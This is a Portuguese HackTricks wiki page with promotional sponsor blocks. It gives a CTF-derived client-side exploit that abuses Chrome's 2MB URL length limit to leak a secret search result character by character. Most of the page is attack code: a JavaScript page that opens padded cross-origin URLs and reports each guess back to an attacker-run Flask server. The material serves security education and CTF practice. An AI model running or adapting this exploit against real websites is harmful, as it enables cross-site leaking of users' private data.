mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 12:33:39 +00:00
91 lines
4.9 KiB
Markdown
91 lines
4.9 KiB
Markdown
# Comprimento Máximo de URL - Lado do Cliente
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
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* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
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* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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Código copiado de [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
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```html
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<html>
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<body></body>
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<script>
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(async () => {
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const curr = "http://secrets.wtl.pw/search?query=HackTM{"
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const leak = async (char) => {
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fetch("/?try=" + char)
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let w = window.open(curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
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const check = async () => {
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try {
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w.origin
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} catch {
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fetch("/?nope=" + char)
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return
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}
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setTimeout(check, 100)
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}
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check()
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}
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const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
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for (let i = 0; i < CHARSET.length; i++) {
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leak(CHARSET[i])
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await new Promise(resolve => setTimeout(resolve, 50))
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}
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})()
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</script>
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</html>
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```
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Lado do servidor:
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```python
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from flask import Flask, request
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app = Flask(__name__)
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CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
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chars = []
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@app.route('/', methods=['GET'])
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def index():
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global chars
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nope = request.args.get('nope', '')
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if nope:
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chars.append(nope)
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remaining = [c for c in CHARSET if c not in chars]
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print("Remaining: {}".format(remaining))
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return "OK"
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@app.route('/exploit.html', methods=['GET'])
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def exploit():
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return open('exploit.html', 'r').read()
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if __name__ == '__main__':
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app.run(host='0.0.0.0', port=1337)
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```
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
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* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
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* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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